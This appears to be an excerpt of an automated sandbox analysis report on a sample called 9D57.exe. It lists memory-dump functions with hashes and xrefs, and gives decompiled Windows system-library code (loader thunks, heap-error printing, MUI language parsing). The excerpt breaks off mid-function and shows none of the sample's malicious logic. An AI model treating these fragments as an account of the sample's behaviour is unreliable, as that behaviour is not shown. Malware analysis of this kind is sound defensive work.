Uniqueness Score: -1.00%

Non-executed Functions

Function 028C54F8, Relevance: 8.9, Strings: 7, Instructions: 124COMMON

Download Yara Rule

Strings

,~|k, xrefs: 028C553A
,~|k, xrefs: 028C558F
,~|k, xrefs: 028C563F
,~|k, xrefs: 028C5613
,~|k, xrefs: 028C5563
,~|k, xrefs: 028C55BB
,~|k, xrefs: 028C55E7

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: ,~|k$,~|k$,~|k$,~|k$,~|k$,~|k$,~|k
API String ID: 0-4084613072
Opcode ID: 8b06a55862a19705258d6027339e3e4143c78837cd69761941a04d1691839bce
Instruction ID: d310c94f7ed2ab62d49790da6b98ca1be2966e49a8d3ec202850afb5fdd21068
Opcode Fuzzy Hash: 8b06a55862a19705258d6027339e3e4143c78837cd69761941a04d1691839bce
Instruction Fuzzy Hash: 1F41B03A3040489FD6047775E99897E735BEBC6698B208C2EE4029B348DF38AC1217A7

Uniqueness

Uniqueness Score: -1.00%

Function 028C5931, Relevance: 8.9, Strings: 7, Instructions: 115COMMON

Download Yara Rule

Strings

,~|k, xrefs: 028C5A4B
,~|k, xrefs: 028C5A77
,~|k, xrefs: 028C5972
,~|k, xrefs: 028C59F3
,~|k, xrefs: 028C59C7
,~|k, xrefs: 028C599B
,~|k, xrefs: 028C5A1F

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: ,~|k$,~|k$,~|k$,~|k$,~|k$,~|k$,~|k
API String ID: 0-4084613072
Opcode ID: 6433fc7d7faf538013cd3bdc622374d4d23196fcbb76e55c6d2b301f8a5441f3
Instruction ID: 4378c636f9d983df7282d257d1e1e2fa95a793158707e6a2c601a098fe29068b
Opcode Fuzzy Hash: 6433fc7d7faf538013cd3bdc622374d4d23196fcbb76e55c6d2b301f8a5441f3
Instruction Fuzzy Hash: E431B1393040489FE7087770A99863F339BEBC6698B208C2DD5428F389CF286C1607A7

Uniqueness

Uniqueness Score: -1.00%

Function 028C5508, Relevance: 8.9, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

,~|k, xrefs: 028C553A
,~|k, xrefs: 028C558F
,~|k, xrefs: 028C563F
,~|k, xrefs: 028C5613
,~|k, xrefs: 028C5563
,~|k, xrefs: 028C55BB
,~|k, xrefs: 028C55E7

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: ,~|k$,~|k$,~|k$,~|k$,~|k$,~|k$,~|k
API String ID: 0-4084613072
Opcode ID: 2691b17d56f306a8e694ea6348fb2b860e0228e17d319b7488f27d8e4942ff1d
Instruction ID: 747b4c7b030377d64376affff2c29785cd0bed5951ac416a901c0585ca5047a0
Opcode Fuzzy Hash: 2691b17d56f306a8e694ea6348fb2b860e0228e17d319b7488f27d8e4942ff1d
Instruction Fuzzy Hash: E031A4393040489FD6047775E99863F725BEBC6698B208C2EE8429F358DF385C1617A7

Uniqueness

Uniqueness Score: -1.00%

Function 028C5940, Relevance: 8.9, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

,~|k, xrefs: 028C5A4B
,~|k, xrefs: 028C5A77
,~|k, xrefs: 028C5972
,~|k, xrefs: 028C59F3
,~|k, xrefs: 028C59C7
,~|k, xrefs: 028C599B
,~|k, xrefs: 028C5A1F

Memory Dump Source

Source File: 00000016.00000002.950642432.00000000028C0000.00000040.00000001.sdmp, Offset: 028C0000, based on PE: false

Similarity

API ID:
String ID: ,~|k$,~|k$,~|k$,~|k$,~|k$,~|k$,~|k
API String ID: 0-4084613072
Opcode ID: 882f95a2c20ceea51c93d258a2716e31c504fc5a6e89106cdf93bd0dfb54e636
Instruction ID: 123066a98087e87e6ab6368d02759da9ff976e6f09fad41ee6ad5a44c679743b
Opcode Fuzzy Hash: 882f95a2c20ceea51c93d258a2716e31c504fc5a6e89106cdf93bd0dfb54e636
Instruction Fuzzy Hash: 1E3194393040489FD6087775E99863F329BEBC6698B248C2DD4428F399DF396C1607A7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 9D57.exe PID: 6244 Parent PID: 3424 9D57.exeCOMMON

Executed Functions

Function 6D289780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D2D1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6D28978A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b9bbd22cad30b457ab189af3097c4b9bc7b61916baafe64a3d6bc8560b651cb5
Instruction ID: d606aafb6614637f2b0da4b16afbf4fab62d2b41475bcfd710709d5c09755a27
Opcode Fuzzy Hash: b9bbd22cad30b457ab189af3097c4b9bc7b61916baafe64a3d6bc8560b651cb5
Instruction Fuzzy Hash: 5A9002A925300402D180716A550860A440557D1242F91D425A0005D18CC9558C6A7372

Uniqueness

Uniqueness Score: -1.00%

Function 6D289600, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D281119,?,?,00000018,?), ref: 6D28960A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8a0b0c3aa5d11e9395ce7eddb8929da3ea09f4d619c4a0d49ca2180a4f8d312f
Instruction ID: 31719b5316a447dbba89413f67cb1ef2e9af3affe3854bf6efc51cf2a5a5a6ee
Opcode Fuzzy Hash: 8a0b0c3aa5d11e9395ce7eddb8929da3ea09f4d619c4a0d49ca2180a4f8d312f
Instruction Fuzzy Hash: 9D9002B124100842D100626A4504B4A850567E0341F51C025A0404E14D85958C627172

Uniqueness

Uniqueness Score: -1.00%

Function 6D289660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D2D18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6D320810,0000001C,6D2D1616), ref: 6D28966A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6208b0ce75e570522b1e3d24d53463eacf925e4f28aafde8f14f505aa81e9af3
Instruction ID: fddb3e133e37b8013305ad08812ecbd821fe3c1303e18bd5edefa49392f66b73
Opcode Fuzzy Hash: 6208b0ce75e570522b1e3d24d53463eacf925e4f28aafde8f14f505aa81e9af3
Instruction Fuzzy Hash: 099002B124100C02D180716A450464A440557D1341F91C025A0015E14DCA558E5A77F2

Uniqueness

Uniqueness Score: -1.00%

Function 6D2899A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D2D1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6D2899AA

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d248ac10eaf7103e1ebf86def1fe71e8dc0d77d0d91e047e2465be27d7debe25
Instruction ID: bcd744fecb0f4fbd8fd55e646a62f03879479f6aef492d547e71d81aeeeba4ec
Opcode Fuzzy Hash: d248ac10eaf7103e1ebf86def1fe71e8dc0d77d0d91e047e2465be27d7debe25
Instruction Fuzzy Hash: 079002E138100842D100616A4514B06440597E1341F51C025E1054D14D8659CC537177

Uniqueness

Uniqueness Score: -1.00%

Function 6D289820, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D2A2EA4,?,00000000,00000000,?,00000220,?,?,?,00000001,?,\??\,?,?,00000002,?), ref: 6D28982A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9741e4e6b5c1fd2d4bd2b7c835fdad86a4bbad637730ff0f8282618d5187af90
Instruction ID: 1d270ece1a5fcb0beb19a931aee0914408cdce2dbd1b404f2326b98685c50af6
Opcode Fuzzy Hash: 9741e4e6b5c1fd2d4bd2b7c835fdad86a4bbad637730ff0f8282618d5187af90
Instruction Fuzzy Hash: 309002B128100802D141716A4504606440967D0281F91C022A0414D14E86958E57BAB2

Uniqueness

Uniqueness Score: -1.00%

Function 6D289860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D2D15BB,00000073,?,00000008,00000000,?,00000568), ref: 6D28986A

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 773a6008882fd4fba8afa96a3aaa3a590dc8762efbe5a1fbfc28e8576494fd2b
Instruction ID: b123c3dea78116a9dd9ba1c8b5ebebf9cd9c7b40fc6be7a1326bbdb20c1a4e62
Opcode Fuzzy Hash: 773a6008882fd4fba8afa96a3aaa3a590dc8762efbe5a1fbfc28e8576494fd2b
Instruction Fuzzy Hash: 399002B124100813D111616A4604707440957D0281F91C422A0414D18D96968D53B172

Uniqueness

Uniqueness Score: -1.00%

Function 6D2898C0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(6D2D108E,000000FF,000000FF,000000FF,?,001FFFFF,00000002,00000000,6D3207D0,00000058,6D2D0C91,?,00000000,?,00000000), ref: 6D2898CA

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 112cc713e46a2535529ba203b974f6d548b15edbec9ddfa7a31fa2eb337a048f
Instruction ID: 6e928c46e495be8d9630f81344703a8bb911378025c8adec680fe5ea5f151f1f
Opcode Fuzzy Hash: 112cc713e46a2535529ba203b974f6d548b15edbec9ddfa7a31fa2eb337a048f
Instruction Fuzzy Hash: 229002A124100882E101616A4504F06540957E0281F91C026A1019D24D8655CD53B276

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D301C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6D301C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6d2248a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6D24B150();
				} else {
					E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6d33589c);
				E6D24B150("Heap error detected at %p (heap handle %p)\n",  *0x6d3358a0);
				_t27 =  *0x6d335898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6D301E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6D24B150();
				} else {
					E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6D24B150("Error code: %d - %s\n",  *0x6d335898);
				_t113 =  *0x6d3358a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6D24B150("Parameter1: %p\n",  *0x6d3358a4);
				}
				_t115 =  *0x6d3358a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6D24B150("Parameter2: %p\n",  *0x6d3358a8);
				}
				_t117 =  *0x6d3358ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6D24B150("Parameter3: %p\n",  *0x6d3358ac);
				}
				_t119 =  *0x6d3358b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6D24B150();
					} else {
						E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6d3358b4);
					E6D24B150("Last known valid blocks: before - %p, after - %p\n",  *0x6d3358b0);
				} else {
					_t120 =  *0x6d3358b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6D24B150();
				} else {
					E6D24B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6D24B150("Stack trace available at %p\n", 0x6d3358c0);
			}

0x6d301c10
0x6d301c16
0x6d301c1e
0x6d301c3d
0x6d301c3e
0x6d301c20
0x6d301c35
0x6d301c3a
0x6d301c44
0x6d301c55
0x6d301c5a
0x6d301c65
0x6d301c67
0x00000000
0x6d301c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d301c67
0x6d301cdc
0x6d301ce5
0x6d301d04
0x6d301d05
0x6d301ce7
0x6d301cfc
0x6d301d01
0x6d301d0b
0x6d301d17
0x6d301d1f
0x6d301d25
0x6d301d30
0x6d301d4f
0x6d301d50
0x6d301d32
0x6d301d47
0x6d301d4c
0x6d301d61
0x6d301d67
0x6d301d68
0x6d301d6e
0x6d301d79
0x6d301d98
0x6d301d99
0x6d301d7b
0x6d301d90
0x6d301d95
0x6d301daa
0x6d301db0
0x6d301db1
0x6d301db7
0x6d301dc2
0x6d301de1
0x6d301de2
0x6d301dc4
0x6d301dd9
0x6d301dde
0x6d301df3
0x6d301df9
0x6d301dfa
0x6d301e00
0x6d301e0a
0x6d301e13
0x6d301e32
0x6d301e33
0x6d301e15
0x6d301e2a
0x6d301e2f
0x6d301e39
0x6d301e4a
0x6d301e02
0x6d301e02
0x6d301e08
0x00000000
0x00000000
0x6d301e08
0x6d301e5b
0x6d301e7a
0x6d301e7b
0x6d301e5d
0x6d301e72
0x6d301e77
0x6d301e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6D3358C0,6D3020B1,?,6D2FFFAF,00000001,00000020,6D3358C0,00000000), ref: 6D301C35
DbgPrint.1105(HEAP: ,?,00000002,6D3358C0,6D3020B1,?,6D2FFFAF,00000001,00000020,6D3358C0,00000000), ref: 6D301C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6D3358C0,6D3020B1,?,6D2FFFAF,00000001,00000020,6D3358C0,00000000), ref: 6D301C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6D3358C0,00000000), ref: 6D301CFC
DbgPrint.1105(HEAP: ,00000020,6D3358C0,00000000), ref: 6D301D05
DbgPrint.1105(Error code: %d - %s,6D2248A4,00000020,6D3358C0,00000000), ref: 6D301D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6D3358C0,00000000), ref: 6D301D47
DbgPrint.1105(HEAP: ,?,?,?,?,6D3358C0,00000000), ref: 6D301D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6D3358C0,00000000), ref: 6D301D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6D3358C0,00000000), ref: 6D301D90
DbgPrint.1105(HEAP: ,?,?,?,?,6D3358C0,00000000), ref: 6D301D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6D3358C0,00000000), ref: 6D301DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6D3358C0,00000000), ref: 6D301DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6D3358C0,00000000), ref: 6D301DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6D3358C0,00000000), ref: 6D301DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6D3358C0,00000000), ref: 6D301E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6D3358C0,00000000), ref: 6D301E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6D3358C0,00000000), ref: 6D301E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6D3358C0,00000000), ref: 6D301E72
DbgPrint.1105(Stack trace available at %p,6D3358C0,?,?,?,?,?,?,?,6D3358C0,00000000), ref: 6D301E8B

Strings

heap_failure_freelists_corruption, xrefs: 6D301CC9
Error code: %d - %s, xrefs: 6D301D12
Parameter3: %p, xrefs: 6D301DEE
Last known valid blocks: before - %p, after - %p, xrefs: 6D301E45
heap_failure_buffer_overrun, xrefs: 6D301C98
heap_failure_multiple_entries_corruption, xrefs: 6D301C8A
heap_failure_entry_corruption, xrefs: 6D301C83
Stack trace available at %p, xrefs: 6D301E86
Parameter1: %p, xrefs: 6D301D5C
Parameter2: %p, xrefs: 6D301DA5
heap_failure_invalid_argument, xrefs: 6D301CAD
heap_failure_internal, xrefs: 6D301C6E
heap_failure_listentry_corruption, xrefs: 6D301CD0
heap_failure_buffer_underrun, xrefs: 6D301C9F
Heap error detected at %p (heap handle %p), xrefs: 6D301C50
heap_failure_lfh_bitmap_mismatch, xrefs: 6D301CD7
heap_failure_invalid_allocation_type, xrefs: 6D301CB4
HEAP[%wZ]: , xrefs: 6D301C30, 6D301CF7, 6D301D42, 6D301D8B, 6D301DD4, 6D301E25, 6D301E6D
heap_failure_cross_heap_operation, xrefs: 6D301CC2
HEAP: , xrefs: 6D301C16, 6D301C3D, 6D301D04, 6D301D4F, 6D301D98, 6D301DE1, 6D301E32, 6D301E7A
heap_failure_usage_after_free, xrefs: 6D301CBB
heap_failure_generic, xrefs: 6D301C7C
heap_failure_block_not_busy, xrefs: 6D301CA6
heap_failure_virtual_block_corruption, xrefs: 6D301C91
heap_failure_unknown, xrefs: 6D301C75

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: e5a19a76f699abaa176778bbe8bf80649d73a76ce3084e87c70a8a6cfaacaf65
Instruction ID: 64f30cb82a3c6720ee9f4b69f7e7adccf60fb04f2fb55f7c73296af5c5441cb2
Opcode Fuzzy Hash: e5a19a76f699abaa176778bbe8bf80649d73a76ce3084e87c70a8a6cfaacaf65
Instruction Fuzzy Hash: A461B2775A519DDFD7168F98C585E38B3A8FB05629B0BC07AFA08DB201C7359C40CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 6D253D34, Relevance: 68.7, APIs: 34, Strings: 5, Instructions: 435
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D253D34(signed int* __ecx) {
				long _v8;
				int _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				long _v32;
				char _v36;
				long _v40;
				long _v44;
				WCHAR* _v48;
				signed int* _v52;
				long _v56;
				signed int _v60;
				void* _v68;
				signed int _t140;
				long _t161;
				int _t167;
				WCHAR* _t170;
				void* _t174;
				int _t189;
				WCHAR* _t198;
				void* _t199;
				int _t210;
				WCHAR* _t219;
				void* _t220;
				long _t230;
				void* _t231;
				signed int* _t236;
				WCHAR* _t237;
				WCHAR* _t238;
				WCHAR* _t239;
				long _t249;
				long _t255;
				long _t260;
				void* _t272;
				wchar_t* _t273;
				wchar_t* _t274;
				wchar_t* _t275;
				long _t276;
				long _t277;
				wchar_t* _t278;
				wchar_t* _t279;
				wchar_t* _t280;
				wchar_t* _t281;
				void* _t282;

				_v60 = _v60 | 0xffffffff;
				_t277 = 0;
				_t236 = __ecx;
				_v52 = __ecx;
				_v8 = 0;
				_v20 = 0;
				_v40 = 0;
				_v28 = 0;
				_v32 = 0;
				_v44 = 0;
				_v56 = 0;
				_t272 = 0;
				_v16 = 0;
				if(__ecx == 0) {
					_t277 = 0xc000000d;
					_t140 = 0;
					L50:
					 *_t236 =  *_t236 | 0x00000800;
					_t236[0x13] = _t140;
					_t236[0x16] = _v40;
					_t236[0x18] = _v28;
					_t236[0x14] = _v32;
					_t236[0x17] = _t272;
					_t236[0x15] = _v44;
					_t236[0x11] = _v56;
					_t236[0x12] = _v60;
					return _t277;
				}
				if(E6D251B8F(L"WindowsExcludedProcs",  &_v36,  &_v12,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v8);
					}
					_v8 = _t277;
				}
				if(E6D251B8F(L"Kernel-MUI-Number-Allowed",  &_v36,  &_v12,  &_v8) >= 0) {
					_t231 = _v8;
					_v60 =  *_t231;
					RtlFreeHeap( *( *[fs:0x30] + 0x18), _t277, _t231);
					_v8 = _t277;
				}
				if(E6D251B8F(L"Kernel-MUI-Language-Allowed",  &_v36,  &_v12,  &_v8) < 0) {
					L16:
					if(E6D251B8F(L"Kernel-MUI-Language-Disallowed",  &_v36,  &_v12,  &_v8) < 0) {
						L28:
						if(E6D251B8F(L"Kernel-MUI-Language-SKU",  &_v36,  &_v12,  &_v8) < 0) {
							L46:
							_t272 = _v16;
							L47:
							_t161 = 0;
							L48:
							if(_v8 != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), _t161, _v8);
							}
							_t140 = _v20;
							if(_t140 != 0) {
								if(_t272 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t272);
									_t272 = 0;
									_v28 = 0;
									_t140 = _v20;
								}
							}
							goto L50;
						}
						_t167 = _v12;
						_t71 = _t167 + 4; // 0xeef2
						_t249 = _t71;
						_v44 = _t249;
						if(_t249 == 0) {
							_t273 = _t277;
							_v32 = _t277;
						} else {
							_t273 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t249);
							_t167 = _v12;
							_v32 = _t273;
						}
						if(_t273 == 0) {
							_v44 = _t277;
							_t277 = 0xc0000017;
							goto L46;
						} else {
							memcpy(_t273, _v8, _t167);
							_v48 = _t273;
							_t274 = wcspbrk(_t273, 0x6d224e90);
							if(_t274 == 0) {
								L38:
								_t170 = _v48;
								if( *_t170 != 0) {
									RtlInitUnicodeString( &_v68, _t170);
									if(E6D2543C0( &_v68,  &_v24) != 0) {
										_t277 = _t277 + 1;
									}
								}
								if(_t277 == 0) {
									_t277 = 0;
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v32);
									_v44 = 0;
									_v32 = 0;
								} else {
									_t277 = 0;
								}
								_t174 = _v8;
								if(_t174 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), _t277, _t174);
								}
								_v8 = _t277;
								goto L46;
							}
							_t237 = _v48;
							do {
								 *_t274 = 0;
								_t275 = _t274 + 2;
								RtlInitUnicodeString( &_v68, _t237);
								if(E6D2543C0( &_v68,  &_v24) != 0) {
									_t277 = _t277 + 1;
								}
								_t237 = _t275;
								_t274 = wcspbrk(_t275, 0x6d224e90);
							} while (_t274 != 0);
							_v48 = _t237;
							_t236 = _v52;
							goto L38;
						}
					}
					_t189 = _v12;
					_t48 = _t189 + 4; // 0xeef2
					_t255 = _t48;
					_v28 = _t255;
					if(_t255 == 0) {
						_t272 = _t277;
						_v16 = _t277;
					} else {
						_t272 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t255);
						_t189 = _v12;
						_v16 = _t272;
					}
					if(_t272 == 0) {
						_v28 = _t277;
						_t277 = 0xc0000017;
						goto L47;
					} else {
						memcpy(_t272, _v8, _t189);
						_t282 = _t282 + 0xc;
						_v48 = _t272;
						_t276 = _t277;
						_t278 = wcspbrk(_v16, 0x6d224e90);
						if(_t278 != 0) {
							_t238 = _v48;
							do {
								 *_t278 = 0;
								_t279 = _t278 + 2;
								RtlInitUnicodeString( &_v68, _t238);
								if(E6D2543C0( &_v68,  &_v24) != 0) {
									_t276 = _t276 + 1;
								}
								_t238 = _t279;
								_t278 = wcspbrk(_t279, 0x6d224e90);
							} while (_t278 != 0);
							_v48 = _t238;
							_t236 = _v52;
						}
						_t198 = _v48;
						_t277 = 0;
						if( *_t198 != 0) {
							RtlInitUnicodeString( &_v68, _t198);
							if(E6D2543C0( &_v68,  &_v24) != 0) {
								_t276 = _t276 + 1;
							}
						}
						if(_t276 == 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t277, _v16);
							_v28 = _t277;
